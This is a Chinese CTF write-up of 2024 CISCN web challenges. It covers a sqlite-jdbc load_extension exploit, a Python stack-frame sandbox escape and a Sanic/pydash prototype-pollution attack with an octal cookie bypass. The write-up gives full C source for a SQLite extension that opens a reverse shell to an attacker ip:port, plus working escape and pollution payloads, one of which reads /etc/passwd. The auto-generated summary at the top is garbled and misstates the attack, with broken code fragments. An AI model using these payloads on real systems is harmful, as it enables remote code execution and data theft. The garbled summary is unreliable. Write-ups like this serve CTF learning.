2024 CISCN WEB 部分wp

ciscn,web,wp · 浏览次数 : 0

小编点评

**SQL Injection漏洞分析** **简介** SQL Injection 是一种利用 SQL 语句注入机制的攻击方法,通过绕过数据库的安全限制,执行恶意代码。 **漏洞分析** 题目环境允许控制 JDBC 语句和 SQL 语句执行 URL。通过执行以下 SQL 语句: ```sql CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp--1886741859.db')); ``` 攻击者可以创建一个名为 `sqlite-jdbc-tmp--1886741859.db` 的恶意 SQLite 数据库文件,并将该文件插入数据库中。 **漏洞过程** 1. 攻击者使用 `tcp_port` 变量存储网络端口。 2. 攻击者使用 `ip` 变量存储网络 IP 地址。 3. 攻击者使用 `fork()` 函数创建子进程。 4. 子进程中执行 `sqlite3_extension_init()` 函数初始化 SQLite 连接。 5. 子进程中使用 `fork()` 创建另一个子进程。 6. 子进程中设置 `enable_load_extension` 属性为 `true`,开启 load_extension 功能。 7. 攻击者将恶意 SQLite 数据库文件作为 `code` 参数传递给 `getflag()` 函数。 8. 攻击者使用循环遍历 `s(code.co_consts)` 获取 flag,并打印其值。 **最终代码** ```python import sqlite3 # 注入 SQL 语句 sql = "CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp--1886741859.db'));" # 获取 flag data = { "code": payload } print(json.dumps(data)) # 利用 RE_PATH_KEY_DELIM 用于绕过验证 key = "key": "__init__\\\\\\.__globals__\\\\\\\\\\.__file__," \ "value": "/etc/passwd" ``` **漏洞结论** 该漏洞利用 SQL 语句注入机制,通过控制 JDBC 语句和 SQL 语句执行 URL,创建恶意 SQLite 数据库文件并执行恶意代码。

正文

前言

第二天的revenge真是绷不住,出的很好,下次多出点revenge。

ezjava

简要介绍

sqlite jdbc...真的没想到,写文件覆盖写了半天,结果是个CVE...,给的很多东西都是幌子

原理是通过控制jdbc语句和sql语句的执行来达到加载恶意so/dll达成rce的目的,这两个条件就很苛刻了,所以算是个比较鸡肋的漏洞,刚好题目环境能够控制jdbc语句和sql执行

image

url是jdbc语句,tableName直接拼接进sql中执行,题目逻辑很简单,我们回到sqlite的CVE,通过执行jdbc:sqlite::resource:http://ip:port/poc.db ,会在/tmp目录下生成一个缓存文件,名称格式是sqlite-jdbc-tmp-?????? ,这个名称是可以计算出来的,计算方法:new URL(url).hashCode()+'.db' ,读取传入的url的hashCode,再拼接.db 就是名称了,所以我们可以创建一个恶意sqlite db文件,执行sql语句:CREATE VIEW security as SELECT ( SELECT load_extension('/tmp/sqlite-jdbc-tmp--1886741859.db')); ,这里写入了load_extension来加载恶意的so,/tmp/sqlite-jdbc-tmp--1886741859.db 是我们传入的恶意so的url在tmp目录下生成的缓存文件,所以我们得提前计算好这个名称

攻击流程

第一步打入恶意so文件的缓存文件

image

第二步创建恶意sqlite db文件,可以利用navicat创建sqlite db文件,然后执行上面给出的sql语句

第三步打入恶意sqlite db文件的缓存文件

image

第四步开启load_extension,并加载我们的恶意sqlite db文件生成的缓存文件

image

上面忘了说了,sqlite jdbc的特性,传入的参数会被PRAGMA执行,比如我们这里传入的是enable_load_extension=true,那么就会执行PRAGMA enable_load_extension=true ,也就开启了load_extension功能。

给个恶意so文件生成c代码:

/* Add your header comment here */
#include <sqlite3ext.h> /* Do not use <sqlite3.h>! */
#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <signal.h>
#include <dirent.h>
#include <sys/stat.h>
SQLITE_EXTENSION_INIT1

/* Insert your extension code here */
int tcp_port = port;
char *ip = "ip";

#ifdef _WIN32
__declspec(dllexport)
#endif

int sqlite3_extension_init(
  sqlite3 *db, 
  char **pzErrMsg, 
  const sqlite3_api_routines *pApi
){
  int rc = SQLITE_OK;
  SQLITE_EXTENSION_INIT2(pApi);

  int fd;
  if ( fork() <= 0){
    struct sockaddr_in addr;
    addr.sin_family = AF_INET;
    addr.sin_port = htons(tcp_port);
    addr.sin_addr.s_addr = inet_addr(ip);

    fd = socket(AF_INET, SOCK_STREAM, 0);
    if ( connect(fd, (struct sockaddr*)&addr, sizeof(addr)) ){
            exit(0);
    }

    dup2(fd, 0);
    dup2(fd, 1);
    dup2(fd, 2);
    execve("/bin/bash", 0LL, 0LL);
}

  return rc;
}

以上4步就是完整的攻击流程了

mossfern

python栈帧沙箱逃逸,研究的好高端...根本没见过,等有空了开篇文章学习一下,可以先参考这篇文章:https://xz.aliyun.com/t/13635

这里就是栈帧逃逸出globals,在字段co_consts中获取到flag

import json
payload = '''def getflag():
    def f():
        yield g.gi_frame.f_back
    g = f()
    frame=[x for x in g][0]
    gattr = frame.f_back.f_back.f_back.f_locals['_'+'_builtins_'+'_']  
    code = frame.f_back.f_back.f_back.f_code 
    gattr_dir = gattr.dir
    s  = gattr.str
    print(gattr_dir(code))
    for i in s(code.co_consts):
        print(i,end=",")
getflag()'''

data = {
    "code": payload
}
print(json.dumps(data))

image

sanic

python原型链污染,当时卡死在第一步了,真是丢人,要求cookie中传入的user=adm;n,我们都知道分号;在cookie中是起分割作用的,所以肯定是不能直接传的,所以理所当然的会想到编码,当时试了unicode编码,十六进制都失败了,谁能想到是用8进制绕过..,user="adm\073n"

image

接下来就是很简单的原型链污染了,有个简单的waf,就是key中不能有__. 用\\绕过即可

{"key": "__init__\\\\.__globals__\\\\.__file__","value":"/etc/passwd"},为什么要这么绕过

image

跟进pydash.set_ 注意这个RE_PATH_KEY_DELIM.split ,按\\\\ 分割写入keys,跟默认的没有\\\\ 是一样的效果,所以并不影响最终的keys

这里我开的是ctfshow的环境,读/proc/1/environ拿到flag

总结

菜就多练...

与2024 CISCN WEB 部分wp相似的内容:

2024 CISCN WEB 部分wp

前言 第二天的revenge真是绷不住,出的很好,下次多出点revenge。 ezjava 简要介绍 sqlite jdbc...真的没想到,写文件覆盖写了半天,结果是个CVE...,给的很多东西都是幌子 原理是通过控制jdbc语句和sql语句的执行来达到加载恶意so/dll达成rce的目的,这两个

第一作者解读|我们这篇Nature Communication背后的故事

2024年7月16日,大暑将至,立秋不远。我们基于Python的转录组学全分析框架的文章——"OmicVerse: a framework for bridging and deepening insights across bulk and single-cell sequencing"——正式在

2024 Selenium10个替代品

随着自动化测试需求的不断增长,Selenium作为广泛使用的自动化测试工具,虽然功能强大,但也存在一些限制和挑战。在2024年, 越来越多的替代工具涌现,它们提供了更高效、更易用的解决方案。那么,哪些替代品值得我们关注呢? 在自动化测试领域,除了Selenium,还有哪些工具能够满足我们的需求,并且

【2024最新】4000字搞懂sora!一张脑图贯穿!

话不多说,上图! 下面就是对sora的具体阐释: Sora是OpenAI推出的一款革命性的视频生成模型,能够根据文本指令、静态图像或视频生成长达60秒的完整视频。这一模型基于扩散式模型和自注意力深度学习机制,通过将视频片段转换为静态图像并去除噪音以达到清晰效果。 核心技术与功能 技术架构: Sora

Microsoft宣布将在开发人员会议上专注于.NET Aspire

2024年7月15日微软宣布,其开发执行团队将在下个月的开发者大会上聚焦于使用 .NET Aspire 的云原生开发,以及结合人工智能的“现代 SQL”在 Microsoft Fabric 中的应用。微软的 Visual Studio LIVE! 2024 大会不仅是一个会议,而是创新、学习和社区庆

ECMA标准ECMAScript(JavaScript的一个标准)和C#

2024 年 6 月 26 日,第 127 届 ECMA 大会正式批准了 ECMAScript 2024 语言规范,这意味着它现在正式成为最新 ECMAScript 标准。ECMAScript是ECMA标准中最著名的编程语言标准,它定义了JavaScript语言的核心特性。C#语言则是由ECMA国际

2024 年 Visual Studio 实用插件集合

前言 在软件开发领域,选择正确的工具可以极大地提升开发效率和质量。 Visual Studio作为微软推出的强大集成开发环境(IDE),通过安装合适的插件,可以进一步增强其功能,满足开发者多样化的需求。 以下是2024年最新最全的Visual Studio实用插件推荐,旨在帮助开发者优化开发流程,提

2024已过半,还没试过在vue3中使用ioc容器吗?

Zova 是一款支持 IOC 容器的 Vue3 框架。有了 IOC 容器的加持,定义响应式状态不再需要ref/reactive,也不再需要ref.value

炎炎夏日,清凉上线:博客园T恤丝光棉款上架预售

2024年7月开始了,炎炎夏日来了,决定园子命运的季度也到了,多一份努力,多一份收入,就多一份希望。在园子的第二十年,出一些周边,留一点记忆,本身就有一定意义,虽然有人质疑,但我们的确是诚心诚意。

2024年,AI驱动测试管理工具会有哪些发展前景呢?

随着人工智能技术的日新月异,2024年的测试管理工具将迎来全新的发展机遇。AI赋能将助力测试管理工具实现前所未有的智能化升级,为软件研发团队带来革命性的变革。 一、什么是AI? 人工智能(AI)是一种能够模仿人类智能行为的技术。它通过模拟人类大脑的功能来解决复杂问题,具有学习、推理、感知、预测等能力